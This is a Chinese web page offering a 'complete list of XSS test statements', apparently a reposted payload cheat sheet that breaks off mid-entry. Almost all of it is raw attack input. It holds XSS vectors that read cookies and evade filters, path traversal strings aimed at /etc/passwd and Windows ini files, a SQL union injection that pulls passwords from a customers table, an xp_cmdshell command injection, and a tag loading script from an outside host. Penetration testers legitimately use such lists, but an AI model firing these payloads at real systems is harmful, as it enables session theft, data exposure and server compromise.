XSS测试语句大全
网学网为广大网友收集整理了，XSS测试语句大全，希望对大家有所帮助！
''><script>alert(document.cookie)</script>=''><script>alert(document.cookie)</script>
<script>alert(document.cookie)</script>
<script>alert(vulnerable)</script>
%3Cscript%3Ealert(''XSS'')%3C/script%3E
<script>alert(''XSS'')</script>
<img src="javascript:alert(''XSS'')">
%0a%0a<script>alert(\"Vulnerable\")</script>.jsp
%22%3cscript%3ealert(%22xss%22)%3c/script%3e
%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini
%3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
%3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
%3cscript%3ealert(%22xss%22)%3c/script%3e/index.html
%3f.jsp
%3f.jsp
<script>alert(''Vulnerable'');</script>
<script>alert(''Vulnerable'')</script>
?sql_debug=1
a%5c.aspx
a.jsp/<script>alert(''Vulnerable'')</script>
a/
a?<script>alert(''Vulnerable'')</script>
"><script>alert(''Vulnerable'')</script>
'';exec%20master..xp_cmdshell%20''dir%20 c:%20>%20c:\inetpub\wwwroot\?.txt''--&&
%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
%3Cscript%3Ealert(document. domain);%3C/script%3E&
%3Cscript%3Ealert(document.domain);%3C/script%3E&SESSION_ID={SESSION_ID}&SESSION_ID=
1%20union%20all%20select%20pass,0,0,0,0%20from%20customers%20where%20fname=
../../../../../../../../etc/passwd
..\..\..\..\..\..\..\..\windows\system.ini
\..\..\..\..\..\..\..\..\windows\system.ini
'''';!--"<XSS>=&{()}
<IMG SRC="javascript:alert(''XSS'');">
<IMG SRC=javascript:alert(''XSS'')>
<IMG SRC=JaVaScRiPt:alert(''XSS'')>
<IMG SRC=JaVaScRiPt:alert("XSS")>
<IMG SRC=javascript:alert('XSS')>
<IMG SRC=javascript:alert('XSS')>
<IMG SRC=javascript:alert('XSS')>
<IMG SRC="jav ascript:alert(''XSS'');">
<IMG SRC="jav ascript:alert(''XSS'');">
<IMG SRC="jav ascript:alert(''XSS'');">
"<IMG SRC=java\0script:alert(\"XSS\")>";'' > out
<IMG SRC=" javascript:alert(''XSS'');">
<SCRIPT>a=/XSS/alert(a.source)</SCRIPT>
<BODY BACKGROUND="javascript:alert(''XSS'')">
<BODY ONLOAD=alert(''XSS'')>
<IMG DYNSRC="javascript:alert(''XSS'')">
<IMG LOWSRC="javascript:alert(''XSS'')">
<BGSOUND SRC="javascript:alert(''XSS'');">
<br size="&{alert(''XSS'')}">
<LAYER SRC="http://xss.ha.ckers.org/a.js"></layer>
<LINK REL="stylesheet" HREF="javascript:alert(''XSS'');">
<IMG SRC=''vbscript:msgbox("XSS")''>
<IMG SRC="mocha:[code]">
<IMG SRC=